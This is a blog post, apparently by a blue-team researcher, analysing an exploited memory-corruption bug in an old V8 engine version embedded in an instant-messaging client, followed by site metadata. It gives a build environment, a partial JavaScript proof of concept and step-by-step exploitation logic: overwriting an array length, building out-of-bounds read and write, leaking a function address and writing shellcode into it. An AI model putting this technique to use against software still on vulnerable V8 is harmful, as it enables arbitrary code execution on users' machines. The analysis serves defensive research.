Preface
During a recent large-scale internet event, as a beleaguered blue team, we \"accidentally\" intercepted an attack incident involving phishing through a \"0day\" exploit in a certain IM (Instant Messaging) platform. Taking advantage of the free time during the May Day holiday, I'm writing down my reflections on recently studying this 0day exploit in a hotel. Corrections from experts are welcome.
Actually, this isn't a \"0day\" exploit specific to the IM platform; it's more accurately described as a \"0day\" exploit affecting the V8 engine used by this IM. You may have noticed that I put quotation marks around \"0day.\" That's because this \"0day\" refers to an undisclosed but already patched vulnerability in an older version of the V8 engine. As a result, any application using this older version of V8 is potentially affected by this vulnerability. Upon initial investigation, it seems that there are quite a few influential applications still using this outdated engine...
This article won't go into basic concepts in detail. For that, please refer to the references at the end, especially [3]. Sakura's tutorial is unparalleled, and I highly recommend reading it before proceeding with this article for better understanding.
This article is for research purposes only and will not disclose the complete code of the proof-of-concept (PoC).
Debugging Environment Setup
While there are numerous articles online detailing how to compile V8, the reason for reiterating this process here is due to the specificity of the scenario mentioned earlier. This vulnerability is exclusive to older versions of V8, which preceded the introduction of compilation tools like Ninja. Instead, these older versions relied on Make tools for compilation. Therefore, it's essential to clarify the debugging environment setup process for this particular case.
It's worth noting that this vulnerability cannot be reproduced using the debug version of d8, possibly due to recursion limitations. Instead, the release version must be used. However, the release version lacks debugging symbols, rendering commands like \"job\" unusable. Fortunately, upon examining the Makefile, it becomes evident that the Google developers have provided a workaround.
To minimize compilation issues arising from environmental differences, this guide utilizes Docker to create a consistent compilation environment. Varying environments may lead to a plethora of unexpected and challenging compilation problems. For instance, a colleague encountered an issue where certain header files within the V8 engine's \"third_party\" directory could not be found, which mysteriously resolved after re-cloning the code repository.
Without further ado, let's proceed with the commands. First, we'll start by launching the Docker container:
- docker pull centos:8
- docker run --name v8 -w /root -it centos:8 bash
Once you have obtained a Docker container named \"v8,\" the next step is to enter the container and begin setting up the actual debugging environment:
- docker exec -it v8 bash
- yum groupinstall \"Development Tools\"
- yum install -y git gdb bzip2 curl glibc-devel.i686 libc++-devel.i686
- git clone https:
- cd v8
- git checkout 5.3.332.45
- make -j4 ia32.release disassembler=on objectprint=on verifyheap=on backtrace=on debugsymbols=on
The vulnerable v8 version has a tag, which is the branch checked out on line 6. Colleagues also need to pay attention to the compilation command on line 7. Make sure to use the command above for compilation, otherwise you may not be able to reproduce or debug this vulnerability.
Vulnerability POC (Partial)
Only the most critical part of the POC (Proof of Concept) is provided here, and subsequent analysis will be based on this portion:
- var g_array;
-
- function cb(flag) {
- if (flag == true) {
- return;
- }
- g_array = new Array(0);
- g_array[0] = 0x1dbabe * 2;
- return 'c01db33f';
- }
- function oobAccess() {
- var this_ = this;
- this.buffer = null;
- this.page_buffer = null;
- this.buffer_view = null;
- class LeakArrayBuffer extends ArrayBuffer {
- constructor() {
- super(0x1000);
- this.slot = this;
- }
- }
- this.page_buffer = new LeakArrayBuffer();
- this.page_view = new DataView(this.page_buffer);
- class DerivedBase extends RegExp {
- constructor() {
- super(
-
-
- {
- toString: cb
- }, 'g'
-
-
- );
-
-
-
- this_.buffer = new ArrayBuffer(0x80);
- g_array[8] = this_.page_buffer;
-
- print(\"g_array\");
- %DebugPrint(g_array);
- print(\"this_.buffer\");
- %DebugPrint(this_.buffer);
- print(\"this_.page_buffer\");
- %DebugPrint(this_.page_buffer);
- %SystemBreak();
- }
- }
- this.buffer_view = new DataView(this.buffer);
- this.leakPtr = function (obj) {
- this.page_buffer.slot = obj;
- return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
- }
- }
-
- var oob = oobAccess();
- var func_ptr = oob.leakPtr(target_function);
- print('[*] target_function at 0x' + func_ptr.toString(16));
- var kCodeInsOffset = 0x1b;
- var code_addr = oob.read32(func_ptr + kCodeInsOffset);
- print('[*] code_addr at 0x' + code_addr.toString(16));
- %SystemBreak();
- oob.setBytes(code_addr, shellcode);
-
To emphasize again, the above is the main code, but simply using this code alone will not successfully trigger the vulnerability. ;)
Overview of the Vulnerability Cause
As usual, we start with a diagram that illustrates the memory layout of various objects at the time the vulnerability is triggered. Understanding this diagram provides a basic understanding of the vulnerability. Let's get a general idea of the cause of this vulnerability through this diagram, and for details, please refer to the next section.
In the diagram below, the length attribute of the g_array (highlighted in red) has been modified to an excessively large value (the characters c01db33f), allowing access to a subsequent block of memory through g_array.
Coincidentally, this_.buffer is allocated immediately after g_array. Therefore, by modifying the backing_store attribute of this_.buffer to this_.page_buffer, an out-of-bounds (oob) object can be obtained. After acquiring the oob object, the this_.page_buffer.slot object can be read and written to using this object, leaking the memory of the target_function. Finally, shellcode is written to the memory of this function, and by calling target_function, execution permissions are obtained.
As can be seen, the general process of exploiting the vulnerability is:
- Overwrite the length property of the global variable g_array by constructing a malformed toString object in the constructor to create a super-sized array.
- Modify the actual memory pointer backing_store of the buffer variable through g_array.
- Control the pointer of the slot member of page_buffer and use the read/write primitive constructed from buffer to leak the address of slot (in this case, the address of the target_function).
- Modify the leaked function address and execute the shellcode.
In the summary above, the most crucial step is the construction of a super-sized array by overwriting the length property of g_array. Without achieving this, the subsequent manipulations of buffer and page_buffer would not be possible.
Now, let's examine how the new version \"fixes\" this vulnerability.
New Version Fix
Below is the memory allocation for instances of the DerivedBase class in the new version of v8:
It was discovered that the return data of toString was stored in a specific member called source.
Next, let's take a look at the memory layout of this:
Essentially, it refers to the location at 0x5f53224d - 1 + 0x10, while the current location of g_array is:
The calculation (0x5f532649 - 1) - (0x5f53224d - 1) shows that there is a difference of 0x3fc addresses between the memory locations of two variables. Since this difference is greater than 0x10, the return value of the toString function located at an offset of 0x10 cannot overwrite the length property of the g_array variable anymore.
Reference
- How to compile V8: https://medium.com/compilers/v8-javascript-engine-compiling-with-gn-and-ninja-8673e7c5e14a
- V8 environment setup: https://warm-winter.github.io/2020/10/11/v8环境搭建
- V8 Exploit:https://eternalsakura13.com/2018/05/06/v8/
","catalog":[{"text":"Preface","parent":[],"level":"H2","position":0},{"text":"Debugging Environment Setup","parent":[],"level":"H2","position":0},{"text":"Vulnerability POC (Partial) ","parent":[],"level":"H2","position":0},{"text":"Overview of the Vulnerability Cause ","parent":[],"level":"H2","position":0},{"text":"New Version Fix ","parent":[],"level":"H2","position":0},{"text":"Reference","parent":[],"level":"H2","position":0}],"category":"Exploit"},"articles":[{"id":"1026_50M1E845916L53LRQF91MRB58O","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"BSOD dump:INVALID_PROCESS_ATTACH_ATTEMPT","brief":"Time flies, nearly a year has passed since the last article analyzing the blue","thumb":{"ext":"png","height":113,"md5":"50412c85f71641ec5aa904ade9ba492f","name":"thumb","rotate":null,"size":6980,"thumb_source":"_Ob88uwsQOhD4BUmThZYMvQ","type":"image","width":200},"tags":["_control:readable_id:Dump-Analysis-BSOD-While-Attach-to-Exited-Process"],"create_time":"2024-09-18","modify_time":1728130915},{"id":"1026_RP8046OAND2TV9M2TD6QFPT45O","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"Compiling windows drivers using WinDDK on Linux with wine","brief":"Dear readers, please don’t be puzzled—because even I was a bit confused when I","thumb":{"ext":"png","height":113,"md5":"35b22609c599c45edd76551a9e13b777","name":"thumb","rotate":null,"size":47315,"thumb_source":"_DlKyfCpMBPadzFhHjTHj6A","type":"image","width":200},"tags":["_control:readable_id:Compile-Windows-Drivers-with-WinDDK-under-Linux"],"create_time":"2024-08-31","modify_time":1725776957},{"id":"1026_4U2GN7S9GT7B9BEL0VJGLC76H0","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"BSOD dump analysis: PageFault and stack out-of-bounds (DoubleFault)","brief":"Recently, I have received quite a few blue screen crash dumps, two of which ar","thumb":{"ext":"png","height":113,"md5":"50412c85f71641ec5aa904ade9ba492f","name":"thumb","rotate":null,"size":6980,"thumb_source":"_BdV2Xv_9nom2cgWJeRpijw","type":"image","width":200},"tags":["_control:readable_id:Analyze-Two-Kernel-Dumps-PageFault-and-DoubleFault"],"create_time":"2023-12-30","modify_time":1712470530},{"id":"1026_T66I0VSDAP7UF7LG81LNM1IVFG","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"Build a command line working environment based on OpenSSH + WSL on Windows","brief":"The author’s main working environment has always been Linux, but in some scena","thumb":{"ext":"png","height":113,"md5":"1389d79ac07fcb5692bb74a1a459b666","name":"thumb","rotate":null,"size":19499,"thumb_source":"_RXM_Hs3NPynaqhdxngsV6g","type":"image","width":200},"tags":["_control:readable_id:Build-Command-Line-Working-Environment-with-OpenSSH-and-WSL-on-Windows"],"create_time":"2023-07-19","modify_time":1717750349},{"id":"1026_PAPBU5FL257A1CABSBOR953NUO","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"Construct flink HA cluster on kubernetes","brief":"With the development and improvement of various IT infrastructures, various ma","thumb":{"ext":"png","height":113,"md5":"ebb35fa76cea041f8626caca48f10301","name":"thumb","rotate":null,"size":14870,"thumb_source":"_J0Sh6pEY7j5cajcQvI9reg","type":"image","width":200},"tags":["_control:readable_id:Construct-Flink-HA-Cluster-on-Kubernetes"],"create_time":"2023-05-23","modify_time":1708175055},{"id":"1026_804TQ8LM7P10R6OP68UBP52NN8","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Multi thread illusion - analyze of a fake multi thread situation","brief":"Multithreading is a technique we often use in daily development. The general p","thumb":{"ext":"png","height":113,"md5":"8f4b28bb764d759b6e87f9eaef8c1938","name":"thumb","rotate":null,"size":20594,"thumb_source":"__xc5ZXYGjCrUgyN3DZKQSw","type":"image","width":200},"tags":["_control:readable_id:Multi-Thread-Illusion-Analyze-of-a-Fake-Multi-Thread-Situation"],"create_time":"2023-05-09","modify_time":1707208431},{"id":"1026_BBU6V4MOI131DE3CR2NUG0D2CC","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Iterate FSD driver dispatch functions and Hook detection","brief":"FSD (File System Drivers) is located at the bottom of the system, closest to t","thumb":{"ext":"png","height":113,"md5":"f329e68331550f3eb606e37a06689655","name":"thumb","rotate":null,"size":5777,"thumb_source":"_OyLvBylqyTlscORf3RpUpw","type":"image","width":200},"tags":["_control:readable_id:iterate-fsd-driver-dispatch-function-and-detect-hooks"],"create_time":"2023-04-10","modify_time":1708350035},{"id":"1026_SG5RV25TNH4M91UVOJ1DKGMNRK","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Traverse the unloaded modules in the kernel","brief":"In the process of malware analysis, we should not miss any clues. The devil is","thumb":{"ext":"png","height":113,"md5":"3090d9f47770306924db85d8dd99742e","name":"thumb","rotate":null,"size":37660,"thumb_source":"_nkRro7Xk9pxM75meNMZ0LQ","type":"image","width":200},"tags":["_control:readable_id:iterate-unloaded-modules-in-windows-kernel"],"create_time":"2023-03-26","modify_time":1713063275},{"id":"1026_3U51RB6I95469FV44ETIQ4C2O0","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"GIMP image matting - Mask Method","brief":"The blogger usually likes to look at military equipment. Recently, while brows","thumb":{"ext":"png","height":113,"md5":"e5207efad5bb77aff301684f3bdb654d","name":"thumb","rotate":null,"size":11742,"thumb_source":"_Gz5T829yTjG3S7KlwQYrjw","type":"image","width":200},"tags":["_control:readable_id:Image-Matting-with-GIMP-using-Mask-Layer"],"create_time":"2023-01-18","modify_time":1736221727},{"id":"1026_9ECGENMKBD08ND8GGN03G2E9HK","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Traverse the DPC timer in the Windows system","brief":"Humans are creatures that hate to wait. Even if the hardware response is slow ","thumb":{"ext":"png","height":113,"md5":"ef9774d7299e26550c15c140b4f8e0a7","name":"thumb","rotate":null,"size":32610,"thumb_source":"_jrmItis_NKLdunhwJAE3Tw","type":"image","width":200},"tags":["_control:readable_id:Iterate-DPC-timers-from-Win7-to-Win11"],"create_time":"2022-12-17","modify_time":1713065345},{"id":"1026_A2HQBUQQ717BHBADPJGJ8J89SG","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Traversal and Hook Recovery of SSDT & ShadowSSDT","brief":"The previous blog post discussed the issue of obtaining SSDT and ShadowSSDT ta","thumb":{"ext":"png","height":113,"md5":"20c2b3fc9a2b00ab5f6f858c1a8e53ee","name":"thumb","rotate":null,"size":20707,"thumb_source":"_nxkivc-_HzpXYhblImlAtg","type":"image","width":200},"tags":["_control:readable_id:enumerate-and-restore-ssdt-or-shadowssdt-table"],"create_time":"2022-11-15","modify_time":1713075051},{"id":"1026_OA8QPNRAV946D31PFH9M6V4VKS","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Windows 11 SSDT & ShadowSSDT Address Acquisition Problem","brief":"Recently, a project required traversing SSDT and ShadowSSDT. The conventional ","thumb":{"ext":"png","height":113,"md5":"20c2b3fc9a2b00ab5f6f858c1a8e53ee","name":"thumb","rotate":null,"size":20707,"thumb_source":"_fzbwp8wDBTHVNPNBh5IPzA","type":"image","width":200},"tags":["_control:readable_id:Windows-11-SSDT-and-ShadowSSDT-fetch-problem"],"create_time":"2022-10-31","modify_time":1713076353},{"id":"1026_GTQ3441E9L47LC56JMAUFGB464","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"Let Synology use Let’s Encrypt certificate and set up automatic renewal","brief":"Synology’s DSM comes with a default Synology self-signed certificate. When acc","thumb":{"ext":"png","height":113,"md5":"f37a1a97632ee1b1e6258fbd60493ec4","name":"thumb","rotate":null,"size":8097,"thumb_source":"_WvulSaStXlNCM_N_e-zMew","type":"image","width":200},"tags":["_control:readable_id:setup-an-auto-update-letsencrypt-certificate-on-synology-dsm"],"create_time":"2022-09-05","modify_time":1706625258},{"id":"1026_EKAGNP1PSL4B9BE7MV85T1DQ24","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"Understanding PE file digital signature and verify it manually","brief":"This article is a sister piece (hereinafter referred to as “sister piece”) to ","thumb":{"ext":"png","height":113,"md5":"168e01c700894328e673659cd1532817","name":"thumb","rotate":null,"size":19144,"thumb_source":"_k-lqLmDVaUMDPCIlNPruYQ","type":"image","width":200},"tags":["_control:readable_id:one-article-to-understand-pe-signature"],"create_time":"2022-04-24","modify_time":1708335339},{"id":"1026_DI24V2C85568D5CHV4J79FS7PC","category_id":"1026_HLLJ4MR8U92ER47IEOD039PJGG","category":"Exploit","title":"CVE-2014-1767 Analysis Report","brief":"NLE (Noob Learning Exploit) - A series for greasy middle-aged anti-virus perso","thumb":{"ext":"png","height":112,"md5":"3fa7fc728be1ab6fc9bc410b06530972","name":"thumb","rotate":null,"size":43147,"thumb_source":"_UqU9QC9Q6-BPbiw02mpEUQ","type":"image","width":200},"tags":["_control:readable_id:NLE-Analyze-CVE-2014-1767"],"create_time":"2022-03-12","modify_time":1706441259},{"id":"1026_F3GHF2RG3P5QV2A57G5D7GDRMO","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Analysis a performance problem caused by QQ browser","brief":"This is an old article, published on various platforms by JD Security when the","thumb":{"ext":"jpg","height":120,"md5":"e0592e8d06b130b41ab6499787b11f45","name":"thumb","rotate":null,"size":12803,"thumb_source":"_6QN0h_xLprL77H1B9DuqZw","type":"image","width":200},"tags":["_control:readable_id:analyse-a-performance-problem-caused-by-qq-browser"],"create_time":"2022-03-11","modify_time":1712478084},{"id":"1026_IUNMCILQI97U99G93OMJKM2MJ0","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"Use Wine+IDA in the Linux environment and activate the Python plugin","brief":"As a hardworking anti-virus personnel, IDA is an indispensable tool. Although ","thumb":{"ext":"png","height":112,"md5":"a32a47ef7f7c54ff0e716f3f6a8237d7","name":"thumb","rotate":null,"size":9303,"thumb_source":"_7jhCkdYIsO5OQ3rogDWFCg","type":"image","width":200},"tags":["_control:readable_id:activate-IDAPython-with-wine-IDA-under-linux"],"create_time":"2022-01-20","modify_time":1708317938},{"id":"1026_41I7VIJ94T2EPC2SGIH7NOP2VK","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Stable get valid EPROCESS structures by PspCidTable","brief":"In the process of kernel development in the security field, obtaining proces","thumb":{"ext":"png","height":123,"md5":"05756abc35522f991770c04205baeef7","name":"thumb","rotate":null,"size":37292,"thumb_source":"_zoAGtXqmVcVYah913RwNHQ","type":"image","width":200},"tags":["_control:readable_id:stable-iterate-eprocess-structure-to-get-process-list"],"create_time":"2021-11-21","modify_time":1713168624},{"id":"1026_TN7QKI2QOL78F39VJHE35KM2J8","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"Understand the relationship between symmetric encryption, asymmetric encryption, hash value, signature, certificate and https in one article","brief":"Text, as a unique communication tool for humans, has accompanied the entire hi","thumb":{"ext":"png","height":113,"md5":"c0571989eddc62103f6b8616a3cea533","name":"thumb","rotate":null,"size":7421,"thumb_source":"_F6cTeH0G0AcrA8us51RXDg","type":"image","width":200},"tags":["_control:readable_id:one-article-to-understand-the-relationship-between-encryption-certificate-signature-https"],"create_time":"2021-11-01","modify_time":1714817182},{"id":"1026_4GBVSPVBMT68T230BL5BG8FIT4","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"[NOTE] Build a virus debug environment with ESXi","brief":"In the process of daily virus sample analysis, we often encounter the need to ","thumb":{"ext":"png","height":89,"md5":"0e8779a6a9f3063f9d4b7ec1d817440e","name":"thumb","rotate":null,"size":23396,"thumb_source":"_J6auHINHrnh3INfgBpLAHw","type":"image","width":200},"tags":["_control:readable_id:build-a-virus-debug-environment-with-ESXi"],"create_time":"2021-09-06","modify_time":1708317914},{"id":"1026_NL6VQJGP3T1T715DABT7AHI898","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"[NOTE] Problems and notes during learning kubernetes","brief":"This article mainly records some problems encountered by the author during t","thumb":{"ext":"png","height":105,"md5":"f19a447f19062bcb53d1622bc644f366","name":"thumb","rotate":null,"size":11770,"thumb_source":"_exKsP3B5aTm5NGkYRvF8Cg","type":"image","width":200},"tags":["_control:readable_id:problems-and-notes-during-learning-k8s"],"create_time":"2021-07-07","modify_time":1708874981},{"id":"1026_SBND5U55414AP6VI7UOLJM9JK8","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Reverse engineering Synology’s NoteStation for blog system","brief":"My Blogging JourneySince high school, I have been tinkering with my blog in","thumb":{"ext":"png","height":111,"md5":"eb364c47418ae2148c5f96e600624aa0","name":"thumb","rotate":null,"size":34233,"thumb_source":"_BQ1IM0PovtI3Ze5qN4b6UA","type":"image","width":200},"tags":["_control:readable_id:reverse-notestation-of-synology-nas"],"create_time":"2021-06-23","modify_time":1713248509},{"id":"1026_K62OA33FH54HBALSVQRMSJUG78","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"A journal of ghost hunting in network","brief":"(All characters in this article are fictitious)Alarms“Two tigers love to dan","thumb":{"ext":"jpg","height":113,"md5":"c2e1677b5da770e37be37ad77c81f453","name":"thumb","rotate":null,"size":5020,"thumb_source":"_FUmuEF1pbQpYElA8HJqo8A","type":"image","width":200},"tags":["_control:readable_id:story-of-catch-a-ghost"],"create_time":"2021-05-20","modify_time":1712918823},{"id":"1026_850GRR65CL1CR3I1DB0RS4HBKK","category_id":"1026_NBACKERRLT7U53D7Q464H7312K","category":"Other","title":"Skills of get a reverse shell (bounce shell)","brief":"Pure BASH methodThe /dev/tcp/ip/port in the following text is a virtual file ","thumb":{"ext":"png","height":120,"md5":"189085ffbaa527207addf16e42670e3a","name":"thumb","rotate":null,"size":20878,"thumb_source":"_t5bGnt1VCvUEN-UFx47bVg","type":"image","width":200},"tags":["_control:readable_id:skills-of-reverse-shell"],"create_time":"2021-05-08","modify_time":1708179413},{"id":"1026_F283RII6FP7H12NH8C35ND02E0","category_id":"1026_HLLJ4MR8U92ER47IEOD039PJGG","category":"Exploit","title":"Analysis of undisclosed vulnerabilities in older versions of V8","brief":"PrefaceDuring a recent large-scale internet event, as a beleaguered blue team","thumb":{"ext":"png","height":113,"md5":"4a7d455888b22173c6362f988663fe8b","name":"thumb","rotate":null,"size":30219,"thumb_source":"_XPjkjVQ1VdBUC6q46LmrvA","type":"image","width":200},"tags":["_control:readable_id:Analysis-of-undisclosed-vulnerabilities-in-older-versions-of-V8"],"create_time":"2021-04-20","modify_time":1706341391},{"id":"1026_71TJ918J6P23D1CCUTF94M8UQK","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Hijack route table under Windows","brief":"BackgroundRecently, a notebook that opened 3389 (remote desktop) appeared to be","thumb":{"ext":"png","height":113,"md5":"c27a18f638ea38a83372b72280a80a3b","name":"thumb","rotate":null,"size":60123,"thumb_source":"_2Hd77kNjRyoFhohmx0Lrfw","type":"image","width":200},"tags":["_control:readable_id:hijack-route-table-under-windows"],"create_time":"2021-03-01","modify_time":1706613054},{"id":"1026_T0URNT0ONL16B8R8QFED3M85J4","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Disclosure of MageCart Group’s Attack Activities During the New Year","brief":"OverviewIn recent years, electronic payments have greatly facilitated people’s ","thumb":{"ext":"png","height":74,"md5":"004d23c78c4421247a5665ccbc961199","name":"thumb","rotate":null,"size":9282,"thumb_source":"_iO6Oz9xAq_et8JfJCprVnw","type":"image","width":200},"tags":["_control:readable_id:MageCart-hacker-group-activities-within-Chinese-new-year"],"create_time":"2021-02-02","modify_time":1713251218},{"id":"1026_JLVTA9OKVH1PF9CGOKQBHR3AJ4","category_id":"1026_MGBKESDIM51RFBC74T87LKTNG0","category":"Reverse","title":"Discussing Registry and File System Filter Drivers through the Purple Fox Trojan","brief":"PrefaceThe “Dive into kernel” series, literally translated as “Deep into the ke","thumb":{"ext":"png","height":113,"md5":"c2332f3d9a526d84fdf3f02f491b2bae","name":"thumb","rotate":null,"size":53006,"thumb_source":"_Wd9Rwz3h56hQCHEVlMrtbQ","type":"image","width":200},"tags":["_control:readable_id:DIK-details-about-minifilter-with-analyse-of-zihu-trojan"],"create_time":"2020-12-29","modify_time":1714657418},{"id":"1026_CIB9LP7GN916LADJR5HQP0ODSS","category_id":"1026_D9T1JRNSVT76H9OSVE8MMOE4QC","category":"Link","title":"Link","brief":"DarkRay's BlogA self-proclaimed \"cybersecurity enthusiast\" and penetratio","thumb":{"ext":"png","height":113,"md5":"6df341eaa892f8c11a91de57202d40e0","name":"thumb","rotate":null,"size":38853,"thumb_source":"_iovHeFBjgwcmj0gByLiHHQ","type":"image","width":200},"tags":["_control:fullpage","_control:readable_id:Links"],"create_time":"2000-01-01","modify_time":1735312730},{"id":"1026_AA70VHJ1TT16F6SVRRDNQM5C3S","category_id":"1026_EO4JOV1TVD715BSKTD7940T0NG","category":"About","title":"About","brief":"A social slave drifting in Beijing.Currently employed in a network security","thumb":{"ext":"png","height":113,"md5":"d2b6cf40b72122e345b59622d79ceed0","name":"thumb","rotate":null,"size":40520,"thumb_source":"_bmVaqipMTadjaZORrHP41Q","type":"image","width":200},"tags":["_control:fullpage","_control:readable_id:about-me"],"create_time":"2000-01-01","modify_time":1706328645}],"page":{"total":3,"current":1,"max":10},"categories":["Link","Other","About","Reverse","Exploit"],"archives":{},"endpoint":"http://127.0.0.1:3000","lang":"en-US","languages":["en-US","zh-CN"],"locale":{"Banner":"Debugwar","BTitle":"Watch & Learn","Slogan":"Step in or Step over, this is a problem ...","Index":"Index","Catalog":"Catalog","Archives":"Archives","SwitchLanguage":"Switch language","CopyRight":"CopyRight (c) 2020 - 2025 Debugwar.com","DesignBy":"Designed by Hacksign"}}